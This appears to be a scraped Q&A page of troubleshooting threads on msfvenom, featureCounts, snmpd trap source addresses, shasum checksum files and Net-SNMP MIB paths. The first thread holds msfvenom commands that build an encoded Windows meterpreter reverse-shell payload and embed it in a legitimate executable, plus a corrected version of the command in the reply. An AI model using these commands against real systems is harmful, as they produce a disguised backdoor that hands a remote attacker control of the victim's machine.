ERROR: you must select an arch for a custom payload - metasploit

msfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.1.99 LPORT=8080 -a x86 R |msfvenom -e -t exe -x minipad.exe -k -o minipad123.exe -e x86/shikata_ga_nai -c 8
Attempting to read payload from STDIN...
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No encoder or badchars specified, outputting raw payload
Payload size: 299 bytes
Error: You must select an arch for a custom payload
The Architecture has been specified, yet the error persists
Any help??

IN kali linux 2.0 sana it necessary to provide information based on following formate
msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp -e x86/shikata_ga_nai --format=exe > windows.exe
it is nessaary to specify the encoding type in kali 2.0
now run the code
change window.exe with location you deserve

Related

how to fix featureCounts in miniconda (Linux) with error "featureCounts: invalid option -- 'r'"

featureCounts was called under minconda in Linux subsystem on a Windows 10 computer.
featureCounts -a /mnt/d/.../__.txt -F SAF -readExtensions3 200 -o ___.tsv -O file1.bam file2.bam file3p.bam file4.bam file5.bam file6.bam file7.bam file8.bam
This always results in an error message
featureCounts: invalid option -- 'r'
Version 2.0.1
Usage: featureCounts [options] -a <annotation_file> -o <output_file> input_file1 [input_file2] ...
## Mandatory arguments:
-a <string> Name of an annotation file. GTF/GFF format by default. See...
And then reprinting the required and optional arguments for featureCounts function.
Does anyone know what does the error message "invalid option --'r'" mean? And how can I fix it?
Is there any difference between calling featureCounts in command prompt (or Terminal on Mac) and calling it in Linux/miniconda3?
It seems that you mistyped option name, it should be --readExtension3 with two dashes in front of it and without 's' in the end. I had a similar problem with --fraction which led me here!

snmpd.conf clientaddr not working for sending trap /inform with given IP source address

Given the following sample/simple snmpd.conf (Net-SNMP 5.7.2 on RHEL 7.4)
rwcommunity private 192.168.56.101
trapsess -Ci --clientaddr=192.168.56.128 -v 2c -c private 192.168.56.101:162
when starting a SNMP Daemon
snmpd -f -Lo -D -C -c data/snmpd_test.conf udp:192.168.56.128:161
We obtain ''Start Up'' InformRequest with IP source 192.56.168.1 instead of ...128 (WireShark snapshot below)
It is not surprising as the -D option allows us to output the debug information saying that
trace: netsnmp_config_process_memory_list(): read_config.c, 696:
read_config:mem: processing memory: clientaddr 192.168.56.128
trace: run_config_handler(): read_config.c, 562:
9:read_config:parser: clientaddr handler not registered for this time
Web sources however say:
snmp.conf
...This value is also used by snmpd when generating notifications.
snmpd.conf
trapsess [SNMPCMD_ARGS] HOST
provides a more generic mechanism for defining notification destinations.
SNMPCMD_ARGS should be the command-line options required for an equivalent
snmptrap (or snmpinform) command to send the desired notification
I read also some old threads like this one
However this option is working well with snmptrap
snmptrap -D -Lo -Ci --clientaddr=192.168.56.128 -M+path_to_my_mibs -v 2c -c private 192.168.56.101:162 "" .1.3.6.1.4.1.a.b.c.d.e.f.0 i 0
This option is also working when placed in snmp.conf ( mind there is no 'd' here ) and then it applies to snmpset and snmpget (and maybe other)
So my question is: Is it a documentation error, a bug, a misuse of the Net-SNMP stack ?
After a long struggle I may have an answer and I write a short note as I just found a trick
It seems that clientaddr is not parsed correctly wherever in the snmpd.conf
(I tried not also inside the trapsess line)
But it seems to be a valid option in the command line of snmpd
like it was a valid option in the snmptrap command line. So I assumed it could be the same parsing mechanism for both.
a condition also is that the IP addres must be valid one
which means that
snmpd -f -Lo -D -C -c data/snmpd_test.conf --clientaddr=192.168.56.128 udp:192.168.56.128:161
seems to fully solve my problem.
I will perform more tests and if accurate format this answer a little bit better but it seems a good hint.

what shasum: elasticsearch-5.0.0.deb.sha1: no properly formatted SHA1 checksum lines found means?

I want to install elasticsearch5.6.4 on ubuntu 17.10. So I downloaded elasticsearch.deb and elasticsearch.deb.sha1. As the sturcture said in this guide, after I run
shasum -a 512 -c elasticsearch-6.2.1.tar.gz.sha512
I have gotten this error:
shasum: elasticsearch-5.6.4.deb.sha1: no properly formatted SHA1 checksum lines found
What does this error mean? and what should I do?
You are correct and I'm a bit puzzled (since I've written that section in the Elastic docs): shasum -a 512 works on other operating systems and checking the man page, I would have thought it should do the same on Ubuntu:
-a, --algorithm 1 (default), 224, 256, 384, 512, 512224, 512256
When verifying SHA-512/224 or SHA-512/256 checksums, indicate the
algorithm explicitly using the -a option, e.g.
shasum -a 512224 -c checksumfile
I'm not sure why shasum -a 512 doesn't work here, but these 3 alternatives all give you the correct result:
shasum -c elasticsearch-6.2.1.deb.sha512 -a 512
shasum -a 512256 -c elasticsearch-6.2.1.deb.sha512
sha512sum -c elasticsearch-6.2.1.deb.sha512
This answer is not so much for the OP (who is hopefully sorted now) but any passers by who encounter the error in the question.
The error
shasum: [CHECKSUM_FILENAME] : no properly formatted SHA[TYPE] checksum lines found
indicates that the checksum file passed to the -c flag is not formatted as
follows
a67eb6eeeff63ac77d34c2c86b0a3fa97f69a9d3f8c9d34c20036fa79cb4214d ./kbld-linux-amd64
Where
the first field is the expected checksum,
the second field is a ' ' character indicating that the file is to be checked as a text file (as opposed to being checked as a binary file or being checking in Universal mode which ignores newlines)
and the third field is the name of the file you likely just downloaded and whose integrity you want to verify
So in the example above the developers who created kbld supplied the above text on their release page to show the checksums that they calculated after they built the kbld binaries for various platforms.
I added the line for the linux build to a file called kbld_v0_7_0.checksum and then I ran the following in the directory where I downloaded the kbld-linux-amd64 binary
$ shasum -c kbld_v0_7_0.checksum -a 256
./kbld-linux-amd64: OK
The OK from shasum shows that the binary that I downloaded, ./kbld-linux-amd64 , generates the same sha256 checksum that was produced when the developers did their build which indicates that the files are, in all likelihood, identical

set additional folder for snmp MIBs

I am rebuilding an Icinga server that has been left behind by a previous employee. I have everything up and running, except for a bunch of MIB files for 3com switches that I cannot get to work.
The server is a CentOS 6 OpenVZ container.
In the original server there is a bunch of mib files in the default location at /usr/share/snmp/mibs/ and the 3com ones at /usr/share/snmp/mibs/3Com_4500/MIBs. The 3Com mibs work fine:
/usr/lib/nagios/plugins/check_snmp -H 10.10.111.11 -P 2c -C public -o hwDevMFanStatus.65536 -s "active(1)" -m A3COM-HUAWEI-LswDEVM-MIBSNMP OK - active(1) |
In the new server, the MIBs in the 3com folder do not get acknowledged and I get errors like the following:
/usr/lib/nagios/plugins/check_snmp -H 10.10.111.11 -P2c -C someuser -o hwDevMFanStatus.65536 -s "active(1)" -m A3COM-HUAWEI-LswDEVM-MIB
External command error: No log handling enabled - turning on stderr logging
Cannot find module (A3COM-HUAWEI-LswDEVM-MIB): At line 0 in (none)
hwDevMFanStatus.65536: Unknown Object Identifier (Sub-id not found: (top) -> hwDevMFanStatus)
/etc/snmp/snmpd.conf is identical for both servers and so is /etc/sysconfig/snmp.
set does not show any ENV variable related to snmp or mib.
Thanks
You are confusing snmpd.conf and snmp.conf the former being the configuration file for the SNMP daemon whereas Net-SNMP applications use snmp.conf.
The mibs/mibdirs directives you are interested in would be specified in snmp.conf (see also man snmp.conf.

Net-snmp can't find standard SNMPv2c mibs

I'm trying to load the snmpv2 mibs and net-snmp can't find them.
I use the -M [folder] option to tell snmpget where to find the custom mibs.
snmpget -v 2c -c public -M /home/myprofile/mibs 192.168.1.55 RFC1213-MIB::sysDescr
I get the error,
Cannot find module (SNMPv2-SMI): at line 0 in (none)
RFC1213-MIB::sysDescr: Unknown Object Identifier
What am I missing given these are standard mibs?
When you use -M to specify a folder, you have to make that folder contains all necessary MIB documents (not only yours, but all dependencies as well). Otherwise, Net-SNMP cannot find them (by design), which you can read Net-SNMP man page for more details,
http://www.net-snmp.org/docs/man/snmpcmd.html
Thus, the easiest way is to use
snmpget -v 2c -c public -M +/home/myprofile/mibs 192.168.1.55 RFC1213-MIB::sysDescr

Resources